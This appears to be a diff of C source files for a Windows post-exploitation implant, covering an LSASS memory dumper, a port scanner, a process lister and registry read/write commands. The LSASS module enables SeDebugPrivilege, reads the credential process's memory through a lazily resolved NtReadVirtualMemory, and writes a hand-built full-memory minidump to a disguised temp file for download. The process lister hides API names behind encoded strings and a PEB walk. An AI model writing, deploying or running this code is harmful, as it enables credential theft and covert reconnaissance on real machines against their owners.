|
||||
m->csum = 0;
|
||||
m->ts = 0;
|
||||
|
||||
/* Read PE header for precise timestamps + SizeOfImage */
|
||||
BYTE hdr[0x400];
|
||||
SIZE_T rd = 0;
|
||||
{ _lNtRVM_t _r = _lsass_nrvm();
|
||||
if (_r) _r(hp, me.modBaseAddr, hdr, sizeof(hdr), &rd); }
|
||||
if (rd >= 0x40) {
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)hdr;
|
||||
if (dos->e_magic == IMAGE_DOS_SIGNATURE) {
|
||||
DWORD ne_off = (DWORD)dos->e_lfanew;
|
||||
if (ne_off + sizeof(IMAGE_NT_HEADERS) <= rd) {
|
||||
IMAGE_NT_HEADERS *nt =
|
||||
(IMAGE_NT_HEADERS *)(void *)(hdr + ne_off);
|
||||
if (nt->Signature == IMAGE_NT_SIGNATURE) {
|
||||
m->ts = nt->FileHeader.TimeDateStamp;
|
||||
m->csum = nt->OptionalHeader.CheckSum;
|
||||
m->size = nt->OptionalHeader.SizeOfImage;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int wlen = MultiByteToWideChar(CP_ACP, 0, me.szExePath, -1,
|
||||
m->path, MAX_PATH);
|
||||
m->path_bytes = (wlen > 1) ? (uint32_t)((wlen - 1) * 2) : 0;
|
||||
|
||||
} while (Module32Next(snap, &me));
|
||||
|
||||
CloseHandle(snap);
|
||||
*out = n;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ===== Memory region collection ===== */
|
||||
|
||||
#define MAX_REGS 8192
|
||||
|
||||
typedef struct { uint64_t start; uint64_t size; } mreg_t;
|
||||
|
||||
static int _collect_regs(HANDLE hp, mreg_t *regs, int *out)
|
||||
{
|
||||
int n = 0;
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
ULONG_PTR addr = 0;
|
||||
|
||||
while (VirtualQueryEx(hp, (LPCVOID)addr, &mbi, sizeof(mbi)) == sizeof(mbi)) {
|
||||
addr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize;
|
||||
if (mbi.State != MEM_COMMIT) continue;
|
||||
if (mbi.Protect & PAGE_GUARD) continue;
|
||||
if (!_is_readable(mbi.Protect)) continue;
|
||||
if (n >= MAX_REGS) break;
|
||||
regs[n].start = (uint64_t)(uintptr_t)mbi.BaseAddress;
|
||||
regs[n].size = (uint64_t)mbi.RegionSize;
|
||||
n++;
|
||||
}
|
||||
*out = n;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ===== Main dump function ===== */
|
||||
|
||||
int cmd_lsassdump(const char *out_path, char *output_buf, size_t output_size)
|
||||
{
|
||||
char dump_path[MAX_PATH + 32];
|
||||
if (out_path && out_path[0]) {
|
||||
strncpy(dump_path, out_path, sizeof(dump_path) - 1);
|
||||
dump_path[sizeof(dump_path) - 1] = '\0';
|
||||
} else {
|
||||
char tmp[MAX_PATH];
|
||||
GetTempPathA(sizeof(tmp), tmp);
|
||||
snprintf(dump_path, sizeof(dump_path), "%s%08lx.tmp", tmp, (unsigned long)GetTickCount());
|
||||
}
|
||||
|
||||
/* SeDebugPrivilege LUID={20,0} — constant on all NT */
|
||||
{
|
||||
const adv_api_t *_a = adv_get();
|
||||
HANDLE _tok = NULL;
|
||||
if (_a->OpenProcessToken && _a->AdjustTokenPrivileges &&
|
||||
_a->OpenProcessToken(GetCurrentProcess(),
|
||||
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &_tok)) {
|
||||
TOKEN_PRIVILEGES _tp;
|
||||
_tp.PrivilegeCount = 1;
|
||||
_tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
_tp.Privileges[0].Luid.LowPart = 20; _tp.Privileges[0].Luid.HighPart = 0;
|
||||
_a->AdjustTokenPrivileges(_tok, FALSE, &_tp, 0, NULL, NULL);
|
||||
CloseHandle(_tok);
|
||||
}
|
||||
}
|
||||
|
||||
DWORD pid = _find_lsass();
|
||||
if (!pid) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[ld] target not found\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
HANDLE hp = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
|
||||
FALSE, pid);
|
||||
if (!hp) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[ld] OpenProcess(%lu) failed: %lu\n",
|
||||
(unsigned long)pid, GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
lsmod_t *mods = (lsmod_t *)calloc(MAX_MODS, sizeof(lsmod_t));
|
||||
mreg_t *regs = (mreg_t *)calloc(MAX_REGS, sizeof(mreg_t));
|
||||
if (!mods || !regs) {
|
||||
free(mods); free(regs); CloseHandle(hp); return -1;
|
||||
}
|
||||
|
||||
int n_mods = 0, n_regs = 0;
|
||||
_collect_mods(pid, hp, mods, &n_mods);
|
||||
_collect_regs(hp, regs, &n_regs);
|
||||
|
||||
/* Total bytes for all MINIDUMP_STRING entries (4-byte aligned) */
|
||||
uint32_t str_bytes = 0;
|
||||
for (int i = 0; i < n_mods; i++) {
|
||||
uint32_t raw = 4 + mods[i].path_bytes + 2; /* len(u32)+wchars+null */
|
||||
str_bytes += (raw + 3) & ~3u;
|
||||
}
|
||||
|
||||
/*
|
||||
* File layout:
|
||||
* [0] md_hdr_t 32
|
||||
* [32] md_dir_t × 3 36
|
||||
* [68] md_sysinfo_t 48
|
||||
* [116] uint32 n_mods 4
|
||||
* [120] md_mod_t × n_mods n*108
|
||||
* [+str] MINIDUMP_STRINGs str_bytes
|
||||
* [+m64h] md_mem64_t 16
|
||||
* [+ranges] md_range_t × n_regs r*16
|
||||
* [+data] raw memory pages (BaseRva here)
|
||||
*/
|
||||
uint32_t off_sys = 68;
|
||||
uint32_t off_mlist = 116;
|
||||
uint32_t off_mods = 120;
|
||||
uint32_t off_strs = off_mods + (uint32_t)n_mods * 108;
|
||||
uint32_t off_m64 = off_strs + str_bytes;
|
||||
uint32_t off_ranges = off_m64 + 16;
|
||||
uint32_t off_data = off_ranges + (uint32_t)n_regs * 16;
|
||||
|
||||
HANDLE hf = CreateFileA(dump_path, GENERIC_WRITE, 0, NULL,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hf == INVALID_HANDLE_VALUE) {
|
||||
free(mods); free(regs); CloseHandle(hp);
|
||||
snprintf(output_buf, output_size,
|
||||
"[ld] CreateFile(%s) failed: %lu\n",
|
||||
dump_path, GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Header */
|
||||
md_hdr_t hdr = {0};
|
||||
hdr.Sig = 0x504d444dUL; /* 'MDMP' */
|
||||
hdr.Ver = 0xA793;
|
||||
hdr.N = 3;
|
||||
hdr.DirRva = 32;
|
||||
hdr.Ts = GetTickCount();
|
||||
hdr.Flags = 2; /* MiniDumpWithFullMemory */
|
||||
_wf(hf, &hdr, sizeof(hdr));
|
||||
|
||||
/* Directory (3 streams) */
|
||||
md_dir_t dirs[3] = {
|
||||
{MD_STREAM_SYSINFO,
|
||||
{sizeof(md_sysinfo_t), off_sys}},
|
||||
{MD_STREAM_MODLIST,
|
||||
{4 + (uint32_t)n_mods * 108 + str_bytes, off_mlist}},
|
||||
{MD_STREAM_MEM64,
|
||||
{16 + (uint32_t)n_regs * 16, off_m64}},
|
||||
};
|
||||
_wf(hf, dirs, sizeof(dirs));
|
||||
|
||||
/* SystemInfo */
|
||||
md_sysinfo_t si = {0};
|
||||
si.Arch = 9; /* AMD64 */
|
||||
si.NCpu = 1;
|
||||
si.Platform = 2; /* VER_PLATFORM_WIN32_NT */
|
||||
OSVERSIONINFOA osi = {sizeof(osi)};
|
||||
GetVersionExA(&osi);
|
||||
si.Major = osi.dwMajorVersion;
|
||||
si.Minor = osi.dwMinorVersion;
|
||||
si.Build = osi.dwBuildNumber;
|
||||
_wf(hf, &si, sizeof(si));
|
||||
|
||||
/* ModuleList: count */
|
||||
uint32_t nm = (uint32_t)n_mods;
|
||||
_wf(hf, &nm, 4);
|
||||
|
||||
/* ModuleList: entries */
|
||||
uint32_t name_rva = off_strs;
|
||||
for (int i = 0; i < n_mods; i++) {
|
||||
md_mod_t m = {0};
|
||||
m.Base = mods[i].base;
|
||||
m.Size = mods[i].size;
|
||||
m.Chk = mods[i].csum;
|
||||
m.Ts = mods[i].ts;
|
||||
m.NameRva = name_rva;
|
||||
_wf(hf, &m, sizeof(m));
|
||||
uint32_t raw = 4 + mods[i].path_bytes + 2;
|
||||
name_rva += (raw + 3) & ~3u;
|
||||
}
|
||||
|
||||
/* ModuleList: MINIDUMP_STRING entries */
|
||||
for (int i = 0; i < n_mods; i++) {
|
||||
uint32_t len = mods[i].path_bytes;
|
||||
_wf(hf, &len, 4);
|
||||
_wf(hf, mods[i].path, len + 2); /* +2: null wchar */
|
||||
uint32_t raw = 4 + len + 2;
|
||||
uint32_t padded = (raw + 3) & ~3u;
|
||||
if (padded > raw) {
|
||||
uint32_t pad = 0;
|
||||
_wf(hf, &pad, padded - raw);
|
||||
}
|
||||
}
|
||||
|
||||
/* Memory64List: header */
|
||||
md_mem64_t m64 = {(uint64_t)n_regs, (uint64_t)off_data};
|
||||
_wf(hf, &m64, sizeof(m64));
|
||||
|
||||
/* Memory64List: descriptors */
|
||||
for (int i = 0; i < n_regs; i++) {
|
||||
md_range_t r = {regs[i].start, regs[i].size};
|
||||
_wf(hf, &r, sizeof(r));
|
||||
}
|
||||
|
||||
/* Memory data — read LSASS pages and write sequentially */
|
||||
BYTE *rbuf = (BYTE *)malloc(0x10000);
|
||||
if (rbuf) {
|
||||
for (int i = 0; i < n_regs; i++) {
|
||||
uint64_t left = regs[i].size;
|
||||
ULONG_PTR cursor = (ULONG_PTR)regs[i].start;
|
||||
while (left > 0) {
|
||||
SIZE_T chunk = (SIZE_T)(left > 0x10000 ? 0x10000 : left);
|
||||
SIZE_T rd = 0;
|
||||
{ _lNtRVM_t _r = _lsass_nrvm();
|
||||
if (_r) _r(hp, (PVOID)cursor, rbuf, chunk, &rd); }
|
||||
if (!rd) {
|
||||
memset(rbuf, 0, chunk);
|
||||
rd = chunk;
|
||||
}
|
||||
_wf(hf, rbuf, (DWORD)rd);
|
||||
cursor += rd;
|
||||
left -= rd;
|
||||
}
|
||||
}
|
||||
free(rbuf);
|
||||
}
|
||||
|
||||
CloseHandle(hf);
|
||||
CloseHandle(hp);
|
||||
free(mods);
|
||||
free(regs);
|
||||
|
||||
LARGE_INTEGER fsz = {0};
|
||||
HANDLE hf2 = CreateFileA(dump_path, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (hf2 != INVALID_HANDLE_VALUE) {
|
||||
GetFileSizeEx(hf2, &fsz);
|
||||
CloseHandle(hf2);
|
||||
}
|
||||
|
||||
snprintf(output_buf, output_size,
|
||||
"[ld] ok pid=%lu mods=%d regions=%d\n"
|
||||
" path: %s (%llu bytes)\n"
|
||||
" download: download %s\n",
|
||||
(unsigned long)pid, n_mods, n_regs,
|
||||
dump_path, (unsigned long long)fsz.QuadPart,
|
||||
dump_path);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
#ifndef FD_SETSIZE
|
||||
#define FD_SETSIZE 512
|
||||
#endif
|
||||
#include "commands.h"
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define SCAN_BATCH 256
|
||||
|
||||
static int _scan_batch(const char *host,
|
||||
unsigned short *ports, int nports,
|
||||
int timeout_ms,
|
||||
char *out, size_t outsz, size_t *pos)
|
||||
{
|
||||
SOCKET socks[SCAN_BATCH];
|
||||
int valid[SCAN_BATCH];
|
||||
struct addrinfo *res[SCAN_BATCH];
|
||||
|
||||
for (int i = 0; i < nports; i++) {
|
||||
socks[i] = INVALID_SOCKET;
|
||||
valid[i] = 0;
|
||||
res[i] = NULL;
|
||||
}
|
||||
|
||||
/* start non-blocking connects */
|
||||
for (int i = 0; i < nports; i++) {
|
||||
char portstr[8];
|
||||
snprintf(portstr, sizeof(portstr), "%u", ports[i]);
|
||||
|
||||
struct addrinfo hints;
|
||||
memset(&hints, 0, sizeof(hints));
|
||||
hints.ai_family = AF_UNSPEC;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
|
||||
if (getaddrinfo(host, portstr, &hints, &res[i]) != 0 || !res[i])
|
||||
continue;
|
||||
|
||||
socks[i] = socket(res[i]->ai_family, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (socks[i] == INVALID_SOCKET) {
|
||||
freeaddrinfo(res[i]); res[i] = NULL;
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Non-blocking */
|
||||
u_long nb = 1;
|
||||
ioctlsocket(socks[i], FIONBIO, &nb);
|
||||
|
||||
connect(socks[i], res[i]->ai_addr, (int)res[i]->ai_addrlen);
|
||||
/* WSAEWOULDBLOCK expected */
|
||||
valid[i] = 1;
|
||||
}
|
||||
|
||||
/* wait for results */
|
||||
struct timeval tv;
|
||||
tv.tv_sec = timeout_ms / 1000;
|
||||
tv.tv_usec = (timeout_ms % 1000) * 1000;
|
||||
|
||||
fd_set wset, eset;
|
||||
FD_ZERO(&wset);
|
||||
FD_ZERO(&eset);
|
||||
|
||||
for (int i = 0; i < nports; i++) {
|
||||
if (valid[i] && socks[i] != INVALID_SOCKET) {
|
||||
FD_SET(socks[i], &wset);
|
||||
FD_SET(socks[i], &eset);
|
||||
}
|
||||
}
|
||||
|
||||
select(0, NULL, &wset, &eset, &tv);
|
||||
|
||||
int found = 0;
|
||||
for (int i = 0; i < nports; i++) {
|
||||
if (!valid[i] || socks[i] == INVALID_SOCKET) goto cleanup;
|
||||
|
||||
if (FD_ISSET(socks[i], &wset)) {
|
||||
/* Check SO_ERROR — 0 means connected */
|
||||
int err = 0;
|
||||
int elen = sizeof(err);
|
||||
getsockopt(socks[i], SOL_SOCKET, SO_ERROR,
|
||||
(char *)&err, &elen);
|
||||
if (err == 0) {
|
||||
int n = snprintf(out + *pos, outsz - *pos,
|
||||
" open %s:%u\n", host, ports[i]);
|
||||
if (n > 0 && (size_t)n < outsz - *pos) *pos += (size_t)n;
|
||||
found++;
|
||||
}
|
||||
}
|
||||
|
||||
cleanup:
|
||||
if (socks[i] != INVALID_SOCKET) {
|
||||
closesocket(socks[i]);
|
||||
socks[i] = INVALID_SOCKET;
|
||||
}
|
||||
if (res[i]) { freeaddrinfo(res[i]); res[i] = NULL; }
|
||||
}
|
||||
return found;
|
||||
}
|
||||
|
||||
int cmd_portscan(const char *host, unsigned short start, unsigned short end,
|
||||
int timeout_ms, char *output_buf, size_t output_size)
|
||||
{
|
||||
WSADATA wsa;
|
||||
WSAStartup(MAKEWORD(2, 2), &wsa);
|
||||
|
||||
if (!host || !host[0] || start > end) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[portscan] usage: portscan <host> <start>-<end> [timeout_ms]\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (timeout_ms <= 0) timeout_ms = 500;
|
||||
|
||||
size_t pos = 0;
|
||||
int n = snprintf(output_buf + pos, output_size - pos,
|
||||
"[portscan] %s %u-%u timeout=%dms\n",
|
||||
host, start, end, timeout_ms);
|
||||
if (n > 0) pos += (size_t)n;
|
||||
|
||||
unsigned short batch[SCAN_BATCH];
|
||||
int bsz = 0;
|
||||
int total = 0;
|
||||
|
||||
for (unsigned int p = start; p <= (unsigned int)end; p++) {
|
||||
batch[bsz++] = (unsigned short)p;
|
||||
if (bsz == SCAN_BATCH || p == (unsigned int)end) {
|
||||
total += _scan_batch(host, batch, bsz, timeout_ms,
|
||||
output_buf, output_size, &pos);
|
||||
bsz = 0;
|
||||
/* Bail if output nearly full */
|
||||
if (pos + 256 >= output_size) break;
|
||||
}
|
||||
}
|
||||
|
||||
n = snprintf(output_buf + pos, output_size - pos,
|
||||
"[portscan] done %d open\n", total);
|
||||
if (n > 0 && (size_t)n < output_size - pos) pos += (size_t)n;
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
#include "commands.h"
|
||||
#include "adv_lazy.h"
|
||||
#include "peb_walk.h"
|
||||
#include "evs_strings.h"
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
/* list running processes with PID, PPID, arch and integrity */
|
||||
|
||||
typedef BOOL (WINAPI *IsWow64Process_t)(HANDLE, PBOOL);
|
||||
static IsWow64Process_t s_wow64 = NULL;
|
||||
|
||||
static void _init_wow64(void)
|
||||
{
|
||||
if (s_wow64) return;
|
||||
char _dn[13], _fn[16];
|
||||
EVS_D(_dn, EVS_dll_kernel32); EVS_D(_fn, EVS_fn_IsWow64Process);
|
||||
HMODULE k32 = _peb_module(_dn); SecureZeroMemory(_dn, sizeof(_dn));
|
||||
if (k32) s_wow64 = (IsWow64Process_t)(void *)GetProcAddress(k32, _fn);
|
||||
SecureZeroMemory(_fn, sizeof(_fn));
|
||||
}
|
||||
|
||||
static const char *_arch(HANDLE hproc)
|
||||
{
|
||||
_init_wow64();
|
||||
if (!s_wow64) return "?";
|
||||
BOOL wow64 = FALSE;
|
||||
return (s_wow64(hproc, &wow64) && wow64) ? "x86" : "x64";
|
||||
}
|
||||
|
||||
static const char *_integrity(HANDLE hproc)
|
||||
{
|
||||
HANDLE htoken = NULL;
|
||||
{ const adv_api_t *_a = adv_get();
|
||||
if (!_a->OpenProcessToken || !_a->OpenProcessToken(hproc, TOKEN_QUERY, &htoken))
|
||||
return "?"; }
|
||||
|
||||
DWORD needed = 0;
|
||||
GetTokenInformation(htoken, TokenIntegrityLevel, NULL, 0, &needed);
|
||||
if (!needed) { CloseHandle(htoken); return "?"; }
|
||||
|
||||
TOKEN_MANDATORY_LABEL *tml = (TOKEN_MANDATORY_LABEL *)malloc(needed);
|
||||
if (!tml) { CloseHandle(htoken); return "?"; }
|
||||
|
||||
const char *label = "?";
|
||||
if (GetTokenInformation(htoken, TokenIntegrityLevel, tml, needed, &needed)) {
|
||||
DWORD rid = *GetSidSubAuthority(tml->Label.Sid,
|
||||
(DWORD)(*GetSidSubAuthorityCount(tml->Label.Sid) - 1));
|
||||
if (rid >= SECURITY_MANDATORY_SYSTEM_RID) label = "system";
|
||||
else if (rid >= SECURITY_MANDATORY_HIGH_RID) label = "high";
|
||||
else if (rid >= SECURITY_MANDATORY_MEDIUM_RID) label = "med";
|
||||
else if (rid >= SECURITY_MANDATORY_LOW_RID) label = "low";
|
||||
else label = "untrust";
|
||||
}
|
||||
free(tml);
|
||||
CloseHandle(htoken);
|
||||
return label;
|
||||
}
|
||||
|
||||
int cmd_ps(char *output_buf, size_t output_size)
|
||||
{
|
||||
if (!output_buf || output_size < 128) return -1;
|
||||
output_buf[0] = '\0';
|
||||
|
||||
int hdr = snprintf(output_buf, output_size,
|
||||
"%-8s %-8s %-5s %-8s %s\n"
|
||||
"%-8s %-8s %-5s %-8s %s\n",
|
||||
"PID", "PPID", "ARCH", "INTEGR.", "NAME",
|
||||
"---", "----", "----", "-------", "----");
|
||||
if (hdr < 0 || (size_t)hdr >= output_size) return 0;
|
||||
|
||||
size_t off = (size_t)hdr;
|
||||
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (snap == INVALID_HANDLE_VALUE) {
|
||||
snprintf(output_buf + off, output_size - off, "[ps] snapshot failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
PROCESSENTRY32 pe;
|
||||
pe.dwSize = sizeof(pe);
|
||||
if (!Process32First(snap, &pe)) { CloseHandle(snap); return -1; }
|
||||
|
||||
do {
|
||||
const char *arch = "?";
|
||||
const char *integ = "?";
|
||||
|
||||
HANDLE hproc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
|
||||
FALSE, pe.th32ProcessID);
|
||||
if (hproc) {
|
||||
arch = _arch(hproc);
|
||||
integ = _integrity(hproc);
|
||||
CloseHandle(hproc);
|
||||
}
|
||||
|
||||
int n = snprintf(output_buf + off, output_size - off,
|
||||
"%-8lu %-8lu %-5s %-8s %s\n",
|
||||
(unsigned long)pe.th32ProcessID,
|
||||
(unsigned long)pe.th32ParentProcessID,
|
||||
arch, integ, pe.szExeFile);
|
||||
if (n > 0) off += (size_t)n;
|
||||
|
||||
if (off + 128 >= output_size) {
|
||||
snprintf(output_buf + off, output_size - off, "[...truncated]\n");
|
||||
break;
|
||||
}
|
||||
|
||||
} while (Process32Next(snap, &pe));
|
||||
|
||||
CloseHandle(snap);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,309 @@
|
||||
#include "commands.h"
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
/* parse hive prefix and return root HKEY */
|
||||
|
||||
static HKEY _hive(const char *keypath, const char **subkey)
|
||||
{
|
||||
static const struct { const char *pfx; HKEY hive; } map[] = {
|
||||
{"HKEY_LOCAL_MACHINE\\", HKEY_LOCAL_MACHINE},
|
||||
{"HKLM\\", HKEY_LOCAL_MACHINE},
|
||||
{"HKEY_CURRENT_USER\\", HKEY_CURRENT_USER},
|
||||
{"HKCU\\", HKEY_CURRENT_USER},
|
||||
{"HKEY_USERS\\", HKEY_USERS},
|
||||
{"HKU\\", HKEY_USERS},
|
||||
{"HKEY_CLASSES_ROOT\\", HKEY_CLASSES_ROOT},
|
||||
{"HKCR\\", HKEY_CLASSES_ROOT},
|
||||
{"HKEY_CURRENT_CONFIG\\", HKEY_CURRENT_CONFIG},
|
||||
{"HKCC\\", HKEY_CURRENT_CONFIG},
|
||||
};
|
||||
for (int i = 0; i < (int)(sizeof(map)/sizeof(map[0])); i++) {
|
||||
size_t len = strlen(map[i].pfx);
|
||||
if (_strnicmp(keypath, map[i].pfx, len) == 0) {
|
||||
*subkey = keypath + len;
|
||||
return map[i].hive;
|
||||
}
|
||||
}
|
||||
*subkey = keypath;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *_type_name(DWORD t)
|
||||
{
|
||||
switch (t) {
|
||||
case REG_SZ: return "REG_SZ";
|
||||
case REG_EXPAND_SZ: return "REG_EXPAND_SZ";
|
||||
case REG_MULTI_SZ: return "REG_MULTI_SZ";
|
||||
case REG_DWORD: return "REG_DWORD";
|
||||
case REG_QWORD: return "REG_QWORD";
|
||||
case REG_BINARY: return "REG_BINARY";
|
||||
case REG_NONE: return "REG_NONE";
|
||||
default: return "REG_UNKNOWN";
|
||||
}
|
||||
}
|
||||
|
||||
/* Format a registry value into buf */
|
||||
static int _fmt_value(const char *name, DWORD type,
|
||||
const BYTE *data, DWORD datalen,
|
||||
char *buf, size_t bufsz)
|
||||
{
|
||||
char val[1024] = {0};
|
||||
|
||||
switch (type) {
|
||||
case REG_SZ:
|
||||
case REG_EXPAND_SZ:
|
||||
snprintf(val, sizeof(val), "\"%.*s\"", (int)datalen, (const char *)data);
|
||||
break;
|
||||
|
||||
case REG_MULTI_SZ: {
|
||||
/* NUL-separated list */
|
||||
size_t pos = 0;
|
||||
const char *s = (const char *)data;
|
||||
while (s < (const char *)data + datalen && *s) {
|
||||
int n = snprintf(val + pos, sizeof(val) - pos, "%s; ", s);
|
||||
if (n > 0) pos += (size_t)n;
|
||||
s += strlen(s) + 1;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case REG_DWORD:
|
||||
if (datalen >= 4) {
|
||||
DWORD dw;
|
||||
memcpy(&dw, data, 4);
|
||||
snprintf(val, sizeof(val), "0x%08lX (%lu)", dw, dw);
|
||||
}
|
||||
break;
|
||||
|
||||
case REG_QWORD:
|
||||
if (datalen >= 8) {
|
||||
ULONGLONG qw;
|
||||
memcpy(&qw, data, 8);
|
||||
snprintf(val, sizeof(val), "0x%016llX", qw);
|
||||
}
|
||||
break;
|
||||
|
||||
case REG_BINARY: {
|
||||
size_t pos = 0;
|
||||
for (DWORD i = 0; i < datalen && pos + 3 < sizeof(val); i++) {
|
||||
snprintf(val + pos, sizeof(val) - pos, "%02X ", data[i]);
|
||||
pos += 3;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
snprintf(val, sizeof(val), "<binary %lu bytes>", datalen);
|
||||
break;
|
||||
}
|
||||
|
||||
return snprintf(buf, bufsz, " %-30s %-14s %s\n",
|
||||
name[0] ? name : "(Default)", _type_name(type), val);
|
||||
}
|
||||
|
||||
/* query one value or enumerate all values in a key */
|
||||
|
||||
int cmd_reg_query(const char *keypath, const char *valname,
|
||||
char *output_buf, size_t output_size)
|
||||
{
|
||||
const char *subkey = NULL;
|
||||
HKEY hive = _hive(keypath, &subkey);
|
||||
if (!hive) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[reg] unknown hive in: %s\n", keypath);
|
||||
return -1;
|
||||
}
|
||||
|
||||
HKEY hk;
|
||||
LONG rc = RegOpenKeyExA(hive, subkey, 0, KEY_READ, &hk);
|
||||
if (rc != ERROR_SUCCESS) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[reg] RegOpenKeyEx failed: %ld\n", rc);
|
||||
return -1;
|
||||
}
|
||||
|
||||
size_t pos = 0;
|
||||
int n = snprintf(output_buf + pos, output_size - pos,
|
||||
"%s\n", keypath);
|
||||
if (n > 0) pos += (size_t)n;
|
||||
|
||||
if (valname && valname[0]) {
|
||||
/* query single value */
|
||||
BYTE buf[4096];
|
||||
DWORD datalen = sizeof(buf);
|
||||
DWORD type = 0;
|
||||
rc = RegQueryValueExA(hk, valname, NULL, &type, buf, &datalen);
|
||||
if (rc == ERROR_SUCCESS) {
|
||||
char line[2048];
|
||||
_fmt_value(valname, type, buf, datalen, line, sizeof(line));
|
||||
n = snprintf(output_buf + pos, output_size - pos, "%s", line);
|
||||
if (n > 0) pos += (size_t)n;
|
||||
} else {
|
||||
n = snprintf(output_buf + pos, output_size - pos,
|
||||
" [not found: %s]\n", valname);
|
||||
if (n > 0) pos += (size_t)n;
|
||||
}
|
||||
} else {
|
||||
/* enumerate all values */
|
||||
DWORD idx = 0;
|
||||
for (;;) {
|
||||
char name[256];
|
||||
BYTE data[4096];
|
||||
DWORD namesz = sizeof(name);
|
||||
DWORD datasz = sizeof(data);
|
||||
DWORD type = 0;
|
||||
rc = RegEnumValueA(hk, idx++, name, &namesz, NULL,
|
||||
&type, data, &datasz);
|
||||
if (rc == ERROR_NO_MORE_ITEMS) break;
|
||||
if (rc != ERROR_SUCCESS) break;
|
||||
|
||||
char line[2048];
|
||||
_fmt_value(name, type, data, datasz, line, sizeof(line));
|
||||
n = snprintf(output_buf + pos, output_size - pos, "%s", line);
|
||||
if (n > 0 && (size_t)n < output_size - pos)
|
||||
pos += (size_t)n;
|
||||
else
|
||||
break;
|
||||
}
|
||||
if (idx == 1) {
|
||||
n = snprintf(output_buf + pos, output_size - pos,
|
||||
" (no values)\n");
|
||||
if (n > 0) pos += (size_t)n;
|
||||
}
|
||||
}
|
||||
|
||||
RegCloseKey(hk);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* set a registry value */
|
||||
|
||||
int cmd_reg_set(const char *keypath, const char *valname,
|
||||
const char *type_str, const char *value,
|
||||
char *output_buf, size_t output_size)
|
||||
{
|
||||
const char *subkey = NULL;
|
||||
HKEY hive = _hive(keypath, &subkey);
|
||||
if (!hive) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[reg] unknown hive in: %s\n", keypath);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* resolve type string */
|
||||
DWORD type = REG_SZ;
|
||||
if (_stricmp(type_str, "REG_DWORD") == 0 || _stricmp(type_str, "dword") == 0)
|
||||
type = REG_DWORD;
|
||||
else if (_stricmp(type_str, "REG_BINARY") == 0 || _stricmp(type_str, "binary") == 0)
|
||||
type = REG_BINARY;
|
||||
else if (_stricmp(type_str, "REG_EXPAND_SZ") == 0 || _stricmp(type_str, "expand_sz") == 0)
|
||||
type = REG_EXPAND_SZ;
|
||||
else if (_stricmp(type_str, "REG_MULTI_SZ") == 0 || _stricmp(type_str, "multi_sz") == 0)
|
||||
type = REG_MULTI_SZ;
|
||||
/* else default REG_SZ */
|
||||
|
||||
HKEY hk;
|
||||
LONG rc = RegCreateKeyExA(hive, subkey, 0, NULL,
|
||||
REG_OPTION_NON_VOLATILE, KEY_SET_VALUE,
|
||||
NULL, &hk, NULL);
|
||||
if (rc != ERROR_SUCCESS) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[reg] create failed: %ld\n", rc);
|
||||
return -1;
|
||||
}
|
||||
|
||||
LONG set_rc = ERROR_SUCCESS;
|
||||
|
||||
switch (type) {
|
||||
case REG_DWORD: {
|
||||
DWORD dw = (DWORD)strtoul(value, NULL, 0);
|
||||
set_rc = RegSetValueExA(hk, valname, 0, REG_DWORD,
|
||||
(const BYTE *)&dw, sizeof(DWORD));
|
||||
break;
|
||||
}
|
||||
case REG_BINARY: {
|
||||
/* parse hex string to bytes */
|
||||
size_t vlen = strlen(value);
|
||||
BYTE *bin = (BYTE *)malloc((vlen / 2) + 1);
|
||||
if (!bin) { RegCloseKey(hk); return -1; }
|
||||
size_t blen = 0;
|
||||
for (size_t i = 0; i + 1 < vlen; i += 2) {
|
||||
char hx[3] = {value[i], value[i+1], '\0'};
|
||||
bin[blen++] = (BYTE)strtoul(hx, NULL, 16);
|
||||
}
|
||||
set_rc = RegSetValueExA(hk, valname, 0, REG_BINARY, bin, (DWORD)blen);
|
||||
free(bin);
|
||||
break;
|
||||
}
|
||||
